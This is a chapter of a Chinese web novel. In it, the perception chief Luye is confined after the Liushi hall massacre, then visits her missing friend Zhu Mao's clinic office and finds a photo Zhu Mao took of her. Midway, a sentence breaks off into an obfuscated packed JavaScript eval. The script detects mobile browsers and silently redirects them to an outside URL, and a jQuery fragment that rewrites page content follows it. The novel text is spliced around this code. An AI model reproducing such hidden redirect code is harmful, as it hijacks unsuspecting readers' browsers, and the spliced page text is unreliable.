前去支援的附近会馆队伍没有用太久时间就抵达了流石会馆的残破废墟,他们一边紧急修复传送阵,一边将各项不好的消息汇报给总馆这边:
所有妖精都被灭口,上至馆长大松,下至刚聚灵的小妖都没一个活下来,宝物【若木】失窃,疑似人类势力动手……
池年等不及后续的调查进展,等到指定传送阵稍微修复成功,这位大哥就亲自带队跑去现场查看了。
虽然明知大概率还有个竹茂的本体不知躲在哪里藏着,但一时半会看着漫山遍野的焦土,他也实在找不到一颗特意藏起来的草种。
尤其是在检查现场的各种交战痕迹和残留下来的人类员工尸体——是的,流石会馆也有几位人类员工在长期居住和工作,尽管比起妖精的数量而言只是极少部分,但他们同样全部牺牲在这次的袭击事件里——这头脾气暴躁的老虎更是气得嗷嗷叫,无人敢劝阻他平息怒火。
没过多久,有队员找到了监控室的残存影像。
对,为了更好的保护【若木】,流石会馆也与时俱进的在【明王】庙宇附近装上了几个监控摄像头,谨防小偷。
只是唯独没想到这次来的会是强抢宝物的强盗。
“等等,这个走在人群中的主谋是……”
…………
……
总馆里,鹿野等得坐立不安。
虽然她还是保持着那副平日里拒人千里之外的冷脸,但熟悉她的几个熟人和下属都多少看得出来,鹿野此刻绝对是处于一个情绪紧绷到极致的危险状态。
他们多少猜到了原因,但没人敢上前开玩笑来缓解气氛,生怕被暴揍。
事实上,先前等池年长老带队前脚刚走,她就后脚想要跟上,谁知却被看守传送阵的工作人员给拦下来了。
“很抱歉,您不能传送去流石会馆。”
“什么?”鹿野简直不敢相信自己的耳朵,不得不提醒对方,“我是感知组的组长鹿野。”
她去了地方才能发现蛛丝马迹的端倪,那个只知道打打杀杀的池年去了能发现什么?
“我知道,鹿野大人。”那个守卫及时纠正了自己的称谓,“很抱歉,您不能传送去流石会馆——事实上,您现在哪儿都不能去。这是池年长老刚刚发来的讯息。”
“嗤!”鹿野咬着牙,发出不屑意味十足的气音,一脸凶狠地盯着他的眼睛,“凭什么?”
兴许是她平日里威名盛烈,守卫差点抱头跪地认输,但对于职责的最后坚守还是让这个妖精鼓起勇气回答道:“具体、具体的情况我也不清楚,但这是池长老不久前亲自发布的命令,说是要申辩的话等他从调查现场回来再说。鹿野大人,也请您理解我们的工作难处!”
“……”
鹿野不说话了,神情森然而严峻地打量着他,就好像有某种不断积蓄的恐怖力量正在那如同冰霜般的面色下缓缓游走。
守卫实在扛不住这般非人感十足的视线,悄悄挪开了自己的目光,不敢与之对视。
同时他想起刚刚接到临出发时池年长老特意下达命令时候的情景。
【“鹿野这人我看很可疑啊,我怀疑她跟此次袭击事件有一些牵连!这样吧,你看住传送阵,不许她使用这玩意儿!如果她非要硬闯,必要时可以使用常规权限以外的武力进行拦截,我授予你这个临时权利!”】
守卫小哥当时的表情就是这样:—_—
其实可怜的守卫只是一头年轻勤恳的普通妖精,他看到这条命令时内心顿时陷入了惊涛骇浪。
什么?我打鹿野?
真的假的!
池长老,我什么时候得罪您老人家了?想要我散灵直接说就好啦!
“好吧。”鹿野毫无征兆的答应,这句话在守卫小哥听来无异于天籁之音。
他甚至是有点感激地目送着这位某种意义上被禁足的感知组组长转身离开。
事实上,鹿野也有自己的考量。她虽然是感知组的组长,但可不是光杆司令一个——整个总馆擅长侦查和感知的妖精不算特别多,却也不算少。池年但凡脑子正常就肯定会挑几个带过去勘察现场,只是她是他们之中最优秀的那一个。
在没有找到生死不明的失踪挚友和搞清楚流石会馆到底出了什么问题之前,鹿野并不打算因为这点小事就贸然去挑战会馆积攒多年的权威。虽然她并不认为真打起来,自己会输给那头蛮横无理的老虎。
鹿野蹙着眉头,心烦意乱地兜兜转转,不知不觉中又走回了总馆医院的大门口。
候诊厅里依旧妖满为患,主要是全世界各地的生病妖精都赶来这儿看病,甚至有些不属于【妖灵会馆】实力的妖精也会慕名前来,会馆历来是很欢迎和拉拢这些野生妖精的……因此总馆的医疗资源是诸多会馆里公认的最雄厚。
医院清洁人员已经将先前搞出来的混乱都打扫干净,要不是仓库大门的门轴依旧损坏(先前被鹿野一脚踢爆),暂时还没更换新的,否则还真看不出刚才发生的事故。
鹿野双手插兜地往走廊里头走,熟门熟路地跟回自己家客厅一样。
托那个傻子的福,她隔三差五会来这儿喝个茶——不用挂号,不用预约,不用看诊,就是来看看庸医朋友今天又整什么新活儿。
路过导诊台时,小护士锦兰忽然有点胆怯地叫住她:“不好意思,鹿野大人。”
“嗯?”
鹿野停下来,用目光发出了疑问。
“那个……可以把竹医生的白大褂还给我吗?”锦兰努力让自己看起来不那么害怕,“根据《院感条例》的相关规定,所有医护人员的工作服和病人使用过的服饰都会送去统一的地方进行集中消杀和处理……”
鹿野想起阿竹好像确实说过类似的话,还说什么“白大褂其实挺脏的”“不然你以为我里面为什么要穿方便清洗的衣服”之类的话。
表情阴沉的白发妖精看了这个护士好几秒,这才不太情愿地从乾坤袋里摸出了好友的白大褂,放回导诊台的台面上:“那就麻烦你了。”
本来还想留着呢。——这种话鹿野是永远不会说出口的。
锦兰尴尬地连忙收走同事的工作服外套,絮絮叨叨地解释:“其实我也不是想过多打听您和竹医生还有池长老几位的事情,只是我们的制服都是有数量限制的,这个您肯定也知晓。所以我想着下班后顺带帮她送去清洗,她过几天回来上班的话还可以穿干净的白大褂……”
鹿野原本沉重的心情在听见这几句解释后莫名好了几分。
“有心了。”她点点头,替朋友说了句场面话。
“鹿野大人!”锦兰还是忍不住问出最想问的那个问题,“竹医生……她还会回来的,对吧?”
亲眼目睹往日敬重的同事在一边“散灵”一边求助的崩溃模样,锦兰如今能保持冷静已经是恪尽职守的医护人员职业道德在撑着理智了。
鹿野神色莫测地想了想,反问她:“你想她回来吗?”
“当然啦!竹医生人很好的,为人随和又沙雕……我是说,很幽默。对我们这些弱小的普通妖精也很友善。她每次出去上班期间摸鱼跑出去,以为大家不知道,都会给我们带点伴手礼或者下午茶之类的东西……”
鹿野:“……”
喂,你刚刚不小心说了那个笨蛋是“沙雕”对吧。
而且可悲的是,某个自以为摸鱼技术高超的庸医,实则早已将懒惰贪玩的恶名传遍工作地点和同事之间了。
鹿野忍不住勾了勾嘴角:“我会想办法监督她回来上班的。”
锦兰如释重负:“那可太好啦!辛苦您了!”
随后有新的病人前来问问题,眼看锦兰忙碌起来,鹿野也不再多说什么,继续自顾自地顺着自己眼中所观察到的灵质轨迹一路走到竹茂原先待着的那个办公室。
经常出门诊的朋友都知道,很多医生其实没有固定的办公室,所有物品都几乎是公用的。一个医生可能今天在1号诊室出诊,后天在3号诊室出诊,这都很正常。
除非是特定的专家,才有几率获得自己的专家门诊办公室。
——竹茂就有。
每次想到这里,鹿野就觉得那家伙也不是真如表面看起来的那么废柴嘛。
其实她不用特意看灵质轨迹,竹茂的灵质她真的太熟了,闭上眼睛都能一抓一个准。
但她今天就是……单纯的想多看两眼。
哪怕只是残留在走廊过道上,过了今夜也许就会消散大部分的一点点灵质。
琢磨着这生涩的心思,鹿野随手推开半虚掩的办公室大门,与里面的两双眼睛猝不及防地对上视线。
过了几秒,里面的青年男子才不太自信地“你好?”了一声。
“你们是……?”
鹿野感到莫名其妙,这一男一女是从哪儿冒出来的?
不过青年很快解释自己是病人家属,妹妹是来看病的。那个脑门上耷拉着一对狐耳的少女则是连连点头。
“医疗组没有派其他医生接手你们的门诊单子?”
鹿野误以为他们是想向自己求助,或者是想等待原本的主治医师(阿竹)回来。
“有的,但舍妹已经痊愈了。所以不需要再去麻烦其他大夫了。”胡先生感慨地说。
狐狸小妹也有点过度惊吓后的颓废:“我再也不想上网了……”
如果换成别的医生,一秒治好网瘾这种事只存在于杨永信的梦里。
但鹿野立刻就接受了这个痊愈速度快到离谱的设定。
没办法,任谁摊上那么一个不走寻常路的医生朋友,都会知道那家伙的真实水平到底是妙手回春还是烂手回冬。
“所以你们还有什么事情?”鹿野表情淡淡地询问。
“这位姐姐,其实我们留下来就想问问……”狐狸小妹有点担忧地捏紧了自己肩膀上的二次元痛包背带,“竹医生她没事吧?”
“哦?”鹿野轻轻疑问了一声。
“她出去的时候看起来挺痛苦的,连站都站不稳了。”
这个小姑娘仰着头注视着这个着装干练的冷酷大姐姐,尚且带着几分稚气的圆脸上没有丝毫害怕,只有单纯的担忧和善良在描述见到的画面。
痛苦?站不稳?
鹿野没办法在第一时间回答这个问题。
但她分明听见了自己忽然变得有些沉重的呼吸声。
这个原本故意不去思考的问题就这样毫无防备地跳出来,就像是那个笨蛋突如其来的发神经行为和恶作剧得逞后的得意大笑。
如今想来,内心却像是在撕裂一般……原以为这种痛苦早就远离她的人生了。
明知竹茂那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082271|194830||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
种血条够厚的混蛋,不可能会轻易死掉。
但是在知晓她连一个分身都维持不住以后,心中那种无处不在的痛苦又是为何?
脑内的理智与情感各自持有针锋相对的观点,折磨得鹿野面色铁青,牙关紧咬。
“哎……”
胡先生到底是比妹妹年长不少,一看鹿野这个几乎控制不住冷淡表情的反应就知道要坏事了,这里头大概率水很深,还是赶紧告辞比较好。
“小孩子不懂事,随便问的,您想讲就讲,不想讲就帮我们跟竹大夫转达一声谢……”胡先生尴尬地笑着试图打圆场。
“放心吧。”鹿野以一种少见的柔和语气回答了女孩的问题,“她没事,就是突然想起今早出门时忘记锁门,所以跑回去了。”
哈?
狐狸小妹半信半疑,看向自己的哥哥,试图用眼神求证。
总馆的居民就这么夜不闭户、路不拾遗么?
胡先生:?
胡先生硬着头皮继续配合:“随手锁门真是很重要的生活常识呢,哈哈哈,既然竹医生没有大碍,那可太好了!我们便先告辞啦……来吧妹妹,我们回家。”
这位妖精大哥硬拖着还想再问点什么的妹妹赶紧开溜了。
再配合下去,连他也撑不住了。
目送那对兄妹离开后,鹿野站在原地望着门口方向有些出神,过了片刻才小声地嘟囔了一句:“我到底在说什么?”
跟笨蛋待在一起久了的话,也会被传染么?
鹿野一直想知道这个问题的答案。
她放眼环顾着这间熟悉又陌生的办公室,虽然先前据说覆盖大半个房间的诸多绿草早已彻底消失,但从墙壁与办公器具上的残余灵质来看,阿竹这具分身先前确实是失控了。
鹿野随手关上了诊室的门,反正导诊台和医疗组已经接手了阿竹今日剩余的挂号病人,暴躁的池长老正在紧急召集各路人马开会,没多少人会在意一个突然失踪的普通医生。
所以在这个短暂的时刻里,是不会有人来这儿打扰的。
她背着双手、闭上眼睛在这间诊室里走了一圈,得益于出色的感知能力,并没有碰倒任何物品。
最后,这个白发的妖精在竹茂的办公椅上坐下,双手轻轻地放在了真皮扶手上,腰身很自然的往后一靠——被椅背撑住了。
充满张力和弹性的网格状编织布牢牢地托住鹿野那稍显疲惫的身躯,腰部的人体工学支撑部分依旧稳固如初。
这看起来平平无奇的办公椅还是三年前鹿野买来送给竹茂的,牌子是赫曼米勒,当时一张椅子要几万,更别提是定制款的,简直就是办公奢侈品。
而竹茂就只会坐在上头整天构思她的蹩脚翘班计划和摸鱼方案,鹿野甚至有点怀疑那人到底知不知道这张定制办公椅的真实价格,亦或者当成了后勤部分几百块一张椅子的那种廉价批发办公用品。
不过她从来没有问过阿竹这个问题,阿竹也很少跟她索要过什么名贵礼品。
鹿野平日里花大价钱来享受生活,所以希望好朋友也能一起享受。
为了亲朋好友能开心一点,这个女人砸钱砸得心甘情愿。
而阿竹是那个永远不会扫兴的好朋友。
鹿野怀疑就算是自己哪天送一张简陋草席给对方,说是睡觉用。竹茂也会乐乐呵呵地收下,并在当晚主动睡草席还给她发买家秀自拍。
想起那个笨蛋那双似乎永远都在闪闪发亮、对一切都充满好奇和友善的眼睛,鹿野忍不住笑了起来。
但很快她又意识到,自己那不合时宜的笑声在这个空旷的诊室里是有多么突兀。
一想到这个,鹿野的笑容瞬间就消失了,脸色也变回原本的冷淡和压抑。
直到她看见办公桌上倒塌的一个木质相框,估计是被先前疯狂暴涨的杂草给无意中掀翻倒下的。
“上个月来喝茶的时候,好像还没有看到这个相框。”
鹿野迟疑地盯着它看了几秒钟,想了想,还是伸手将它扶正。
——她只是好心的帮忙恢复办公室主人的摆设,并没有想要偷窥好友私生活的意思。鹿野决定坚信着这个概念。
她本以为会看到什么痊愈病人送锦旗的美好合影,或者阿竹参加某个医学大赛却莫名其妙混成了评委的结束纪念照,要不然就是路上偶遇猫妈妈帮忙接生,并得意洋洋的陈列新生儿小猫战利品之类的搞怪照片……
都不是。
照片里只有一个人。
那略微模糊的画质,一看就是有点手抖情况下偷拍的。
鹿野看到了自己。
那是她们去年夏天坐游轮出海度假,那天清晨她醒得早,索性倚在甲板护栏上看着远方飞起的几只白色海鸥,默默在心中计算着此地距离陆地或者海岛还有多远。
清晨特有的柔和阳光洒在尚且蒙着些许雾气的海波之上,海风拂面,吹得甲板上的那人长发飞扬,如此意气风发,一切都是那么的美好又温柔。
看着这张照片,鹿野沉默了很久,直到慢慢地抬起双手,方才把脸埋进自己的掌心里,深深地呼吸着。
似乎只有这样做,她才能勉强平复此刻内心激荡的复杂情感。
“阿竹。”她说,“你的手要是不抖就能拍得更好看了。”
无人回答。